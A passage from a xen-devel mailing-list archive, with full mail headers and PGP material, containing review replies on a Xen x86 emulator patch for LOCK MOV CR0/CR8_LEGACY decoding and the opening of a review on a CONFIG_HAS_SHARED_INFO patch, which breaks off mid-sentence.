X-purgate-ID: tlsNG-4011c0/1783506462-CF139DDE-FC472EDF/0/0
X-purgate-type: clean
X-purgate-size: 2339

On 08/07/2026 11:24 am, Jan Beulich wrote:
> On 08.07.2026 11:59, Teddy Astie wrote:
>> Le 08/07/2026 Ã  11:37, Jan Beulich a Ã©critÂ :
>>> On 08.07.2026 11:29, Teddy Astie wrote:
>>>> Le 07/07/2026 Ã  21:49, Andrew Cooper a Ã©critÂ :
>>>>> --- a/xen/arch/x86/x86_emulate/decode.c
>>>>> +++ b/xen/arch/x86/x86_emulate/decode.c
>>>>> @@ -780,12 +780,12 @@ decode_twobyte(struct x86_emulate_state *s,
>>>>>            break;
>>>>>    
>>>>>        case 0x20: case 0x22: /* mov to/from cr */
>>>>> -        if ( s->lock_prefix && vcpu_has_cr8_legacy() )
>>>>> +        if ( s->lock_prefix && vcpu_has_cr8_legacy() && s->modrm_reg == 0 )
>>>>>            {
>>>>> -            s->modrm_reg += 8;
>>>>> +            s->modrm_reg = 8;
>>>>>                s->lock_prefix = false;
>>>>>            }
>>>>> -        /* fall through */
>>>>> +        fallthrough;
>>>>>        case 0x21: case 0x23: /* mov to/from dr */
>>>>>            ASSERT(s->ea.type == OP_REG); /* Early operand adjustment ensures this. */
>>>>>            generate_exception_if(s->lock_prefix, X86_EXC_UD);
>>>> I'm fine with it; though we probably want to make sure we always
>>>> advertise the AltMovCr8 feature bit as APM suggest users to always check
>>>> for this before relying on this behavior.
>>> Why would we set the flag when hardware doesn't have it? Note the
>>> vcpu_has_cr8_legacy() check there - we only engage this behavior if
>>> the guest sees the feature as available.
>> Hmm, ok, though this bit is named as "AltMovCr8" in July 2025 APM; but 
>> we name it "cr8_legacy". Has the name of the feature bit changed in APM 
>> over time ?
> I don't know. What I do know is that imo AltMovCr8 isn't the greatest of
> all possible names. (Neither is cr8_legacy, first and foremost as it
> alludes to this being a compat-mode-only thing when it isn't.)

We inherited the name CR8_LEGACY from Linux.

commit c458f45d2eddcafed054651363ffb5c830e5df5b
Author: Keir Fraser <keir@xen.org>
Date:Â  Â Sat Jan 8 10:48:09 2011
Â  Â  libxc: Update AMD CPU feature flags 0x80000001:ECX for Xen tools
Â  Â Â 
Â  Â  This patch syncs-up AMD CPU feature flags 0x80000001:ECX in libxc with
Â  Â  the latest Linux kernel.
Â  Â Â 
Â  Â  Signed-off-by: Wei Huang <wei.huang2@amd.com>


renamed from ALTMOVCR to CR8_LEGACY

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 10:30:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 10:30:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356834.1611372 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPXq-00026K-MG; Wed, 08 Jul 2026 10:30:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356834.1611372; Wed, 08 Jul 2026 10:30:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPXq-00026D-Jj; Wed, 08 Jul 2026 10:30:22 +0000
Received: by outflank-mailman (input) for mailman id 1356834;
 Wed, 08 Jul 2026 10:30:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4147441400080a8@swg.vates.tech>)
 id 1whPXp-000267-5x
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 10:30:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whPXo-00H7tW-5r
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:30:20 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4147441400080a8@swg.vates.tech>)
 id 6a4e26b8-2eae-0a2a0a5409dd-0a2a4506e2ba-12
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:30:20 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4147441400080a8@swg.vates.tech>)
 id 6a4e26bb-08de-0a2a45060019-b9ff1c22a247-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:30:20 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4147441400080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 10:30:17 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 9343C81EE4;
 Wed,  8 Jul 2026 12:30:16 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=sYV7oRyHzOxksYisaxys1ogzy1ohJHDjvyM76Dd8ZZU=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KDjLI2chIxQWavhe2DlA4/bJJMWXivdkoQ8RqLjMNS4PitvcIyYyE4K5EcNLqHuEfrFgzZWNq
 1jWz4z8NjilEVB1UhkY6ajrXkD5bkYyAeJmfe5scM9Ox9HZ2wtC4Qxwao6Snk+vsUnDHayQJDa/
 Kjx58X29J3TsMYWdnJU5urohhn5mx+zyu+swIaSi4bmq7GGEuIMeGLEUFof7+15a9Mf/N2sUFMM
 inI2oQM0WNPdrgFXkKGZre2LLtcDCRi8Zd/tSPs5T83NuNrhbldtvxXaoyzwn0LY0EDWXZnZdQM
 J+9RKdFflxDDajlrzYNJ6lxCmaJdSDp47o2MPXpeDIHw==
X-Zone-Loop: e1d00ca2e706beac235836eb91a9dc47ed045ba10773
x-campaign-type: default
x-transaction-id: ab301ef2-933a-4efe-bd7b-8fa81c8ad215
x-swg-uid: 01-a96d3585-cc1c-479b-82fc-17a192fd5118
X-Mailer: Sweego
Message-ID:
 <1783506617.8631fc262581453bbf619ec5b2062170.19f4147441400080a8@vates.tech>
x-swg-bid: 1783506617.8631fc262581453bbf619ec5b2062170.19f4147441400080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 12:30:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <f4c52bd9-4851-488f-98dc-7188470fd850@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIr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0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <f4c52bd9-4851-488f-98dc-7188470fd850@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------7Sf9yXz00Diw7g5N0asWdX59"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783506616733
X-purgate-ID: tlsNG-16d1c6/1783506620-42F2468D-E8652F65/0/0
X-purgate-type: clean
X-purgate-size: 9071

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------7Sf9yXz00Diw7g5N0asWdX59
Content-Type: multipart/mixed; boundary="------------zVd89plokHoq5E5M1Pjybozf";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
Message-ID: <06aca489-afd0-48d8-9f53-ff2d2a36549f@vates.tech>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <f4c52bd9-4851-488f-98dc-7188470fd850@citrix.com>
In-Reply-To: <f4c52bd9-4851-488f-98dc-7188470fd850@citrix.com>

--------------zVd89plokHoq5E5M1Pjybozf
Content-Type: multipart/mixed; boundary="------------I060FJH4JrVSTQAfO0Ix8OKF"

--------------I060FJH4JrVSTQAfO0Ix8OKF
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDgvMDcvMjAyNiDDoCAxMTo1NywgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBP
biAwOC8wNy8yMDI2IDEwOjI5IGFtLCBUZWRkeSBBc3RpZSB3cm90ZToNCj4+IExlIDA3LzA3
LzIwMjYgw6AgMjE6NDksIEFuZHJldyBDb29wZXIgYSDDqWNyaXTCoDoNCj4+PiBUaGUgQVBN
IGRlc2NyaXB0aW9uIG9mIHRoZSBBbHRNb3ZDUjggZmVhdHVyZSBiaXQgaXM6DQo+Pj4NCj4+
PiAgwqDCoCAiTE9DSyBNT1YgQ1IwIG1lYW5zIE1PViBDUjgiDQo+Pj4NCj4+PiBBZGp1c3Qg
dGhlIGRlY29kZSBsb2dpYyB0byBiZWhhdmUgbGlrZSB0aGlzLg0KPj4+DQo+Pj4gU2lnbmVk
LW9mZi1ieTogQW5kcmV3IENvb3BlciA8YW5kcmV3LmNvb3BlcjNAY2l0cml4LmNvbT4NCj4+
PiAtLS0NCj4+PiBDQzogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPg0KPj4+IEND
OiBSb2dlciBQYXUgTW9ubsOpIDxyb2dlci5wYXVAY2l0cml4LmNvbT4NCj4+PiBDQzogVGVk
ZHkgQXN0aWUgPHRlZGR5LmFzd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0IGhhdmUgaXQuDQo+IA0KDQpPayB0aGFua3MuDQoNCj4gfkFuZHJldw0KDQoNClRoYXQg
bG9va3MgZ29vZCB0byBtZS4gQXMgYSBmb2xsb3ctdXAgcGF0Y2gsIGl0IG1pZ2h0IGJlIHdv
cnRoIHJlbmFtaW5nIA0KY3I4X2xlZ2FjeSBpbnRvIGFsdF9tb3ZfY3I4IHRvIGJldHRlciBt
YXRjaCBBUE0gdGVybWlub2xvZ3kuDQoNClJldmlld2VkLWJ5OiBUZWRkeSBBc3RpZSA8dGVk
ZHkuYXN0aWVAdmF0ZXMudGVjaD4NCg0K
--------------I060FJH4JrVSTQAfO0Ix8OKF
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5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TBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------I060FJH4JrVSTQAfO0Ix8OKF--

--------------zVd89plokHoq5E5M1Pjybozf--

--------------7Sf9yXz00Diw7g5N0asWdX59
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpOJrgFAwAAAAAACgkQZg+p0QLLz9B6
qAv/enxmT+RMCzEuw6iRZrXH0QeLLGV4nYeEC3BF3+u3cQ/NqYrvS4gyfzlc/muJ4MnJPt8tMXxS
xfAhnqAwI++IMESwywhLFtvhF7NglWE8nDKnnaQq79F6zCHHbd8Z3BPCxMoENizsDPUuS0+mxMxh
G7h6N5V+EQqInnI9vB8NvoFg5FFGv7Gr8L02XRjBvmJo8lYgQ6vDFnEUmtPv+q7JvPwULDEi+GRB
vY/bHOdUiFXdcxmIpXXBA41JsfzIdFH2XNrU/tRhSsoBzkFJ7h6Edq/+RHg29CGlT+uMN1KpOET0
OnMEVdd+T1Y+jHhJbgCS+WmQrLJ65BESYED9dsX5RQSEeG+Vwd0VBel8NIjhvvJl6fRGgmEW0tgt
N3AcAJCAYJ/fdvmVYmPRp5AqTEPwk/fbIky2p/+P8Sj0jfNkdEgsp6yitysO8M7Iu+PissnMaPxB
aZ+lbYAaKBP78qVAJUvxYNd38p65LaZY9cwHPfCVjDG3EdzfvdY4uG5l3+2j
=upmi
-----END PGP SIGNATURE-----

--------------7Sf9yXz00Diw7g5N0asWdX59--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 10:53:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 10:53:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356852.1611380 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPti-0005OW-Hj; Wed, 08 Jul 2026 10:52:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356852.1611380; Wed, 08 Jul 2026 10:52:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPti-0005OP-Eu; Wed, 08 Jul 2026 10:52:58 +0000
Received: by outflank-mailman (input) for mailman id 1356852;
 Wed, 08 Jul 2026 10:52:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whPth-0005OJ-4n
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 10:52:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whPtg-00Ax3k-Cv
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:52:56 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e2be7-e002-0a2a0a5209dd-0a2a4505e36c-46
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:52:56 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e2c08-3cb2-0a2a45050019-d155dd34c50e-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:52:56 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47640541585so312060f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 03:52:56 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1e6ccsm42166741f8f.5.2026.07.08.03.52.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 03:52:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783507976; x=1784112776; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zU6xXyd+I2Z7NZXB9gI8gPCFhJkd44KzgVFlD6YS8gw=;
        b=DsAIu8ji8X1Y8zQBFpOR71Zm7p6zoTSXnz5FzNkIHZZAhoXSB4XtCBfrb7CisXoVvI
         Ce1jLuz1QR4uAQFpJrUonnIafZinxUQkJpNhLd9WwedvLEdNoKM1uq6nfo9gDWBPYY3C
         1HBdXglwj+STWqPFc/n6KPLlym1ID8Hs9oQ5uAP5mIdva8XtZfD0Ads2FTgArzqZuP+n
         ZNKd3GBhRIq19ZwYRNQbwSgREqBhzFgzLq7wH4EUMj63czRfnaRx/krD+Pu4TsQXfdjQ
         HhERTNStdbGYep8M7RWocGnZAhrDNyBkaKnAsW4Zf8QiPHQzHJX9ipoFT9ik7GLc/9vq
         BSGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783507976; x=1784112776;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zU6xXyd+I2Z7NZXB9gI8gPCFhJkd44KzgVFlD6YS8gw=;
        b=Y0LC4HQ3PLWvPSqmomAY6rHvf5Z4VK4ZFFeypK6BxLLrCk88ZGnea/AlKhKsNmN08R
         Bu6SIoYYZsC70obk1bZpSeAh5K78mOzWosJpMVxOqA1jIuzSV1629RHm2eJons3A3Sp3
         LpXgG46HClgcZVPOHzGulLl1P3vms/q98EcvyF/foDCExJFQZOyD89KRFr5WVTY75Vkp
         DjB6cQOW624JnAtb4d9MaZSoqzXhgQRg9mBSCzGbssFSBYuBmZFm7OFNNQd5EtldNvic
         MBrNNEaS7tyILgPYJMw8Ww8JNZjU3oby/RZmP08q4rwl4gHcaryK1J556ruuGPCo+2SX
         y4CQ==
X-Forwarded-Encrypted: i=1; AHgh+RoOtYerPzSNNTZOPWi0w4mzBS6yVBtPtVb/LOpVQ138PSIVklC9u1XjaWX5SHqzUh4j+Ji/hzndJCY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw1kKpHSjXpGfBwFORXeZ/ETKbetN/iRkyd1vRf9LvEdEZSZwKU
	Omz4xJdtSnQpB57POK/yZLwY8cgCLbciWM13qzPSE/LJLsGgMEmaYDwh1XaCld95xw==
X-Gm-Gg: AfdE7cmWCNiIoq/Raqf2nSlLZaeYLtELerZJzxNx7J5CdPrmj6y1nMsm9gdgeMSY8WQ
	lgB344mWT9Vmqh4KhwjCGtUvooR3y6YU1yWHObkdYuWNtuGCg9tx/xG8a3lZP6Md5RyLBqy7cFk
	S7sskJI7PbM1U09H3rtPVLHA4NFzRO5xU+VBCtlnatXp6UmqxCMfxnnTd+bs/43gW6g61qU3IGL
	mJuRNoLtzEpj3MHBhEroUsN1YelkMum7Y55HX4LPGn/ZqTkeOGgbmF/nvDBIy6SwsiPIXpTSX96
	r8Xni5jmeFMaqHGSeTM/TBCSVPa0n+a29+iZOA0fh+F5qmnRZa2coSLBq0wELwYFEsQyQFA1aOh
	bEDqF08vMex/zzjtGL5F4xyy+elCfwjUAb10sKyupZ3S3dpBOHsdZ23I8NkuYq0pL9b6U1BjUfz
	aS2U7Sln28zfa9oWh3yfvyo4wxA+QYn8GtyrsGZB1/3rlFP+BFhSTytHOYRHLDlbyCTFE7GvQ4s
	7fr
X-Received: by 2002:a05:6000:3110:b0:472:67de:27c2 with SMTP id ffacd0b85a97d-47df077a95dmr2065638f8f.40.1783507975726;
        Wed, 08 Jul 2026 03:52:55 -0700 (PDT)
Message-ID: <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
Date: Wed, 8 Jul 2026 12:52:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tb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ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783507976-553E72B8-12B715D5/0/0
X-purgate-type: clean
X-purgate-size: 4050

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> --- a/xen/common/event_channel.c
> +++ b/xen/common/event_channel.c
> @@ -40,6 +40,9 @@
>  
>  #define consumer_is_xen(e) (!!(e)->xen_consumer)
>  
> +/* Defined below when !CONFIG_HAS_SHARED_INFO; call is DCE'd otherwise. */
> +void evtchn_none_init(struct domain *d);

The definition wants to be static, so this declaration needs to become
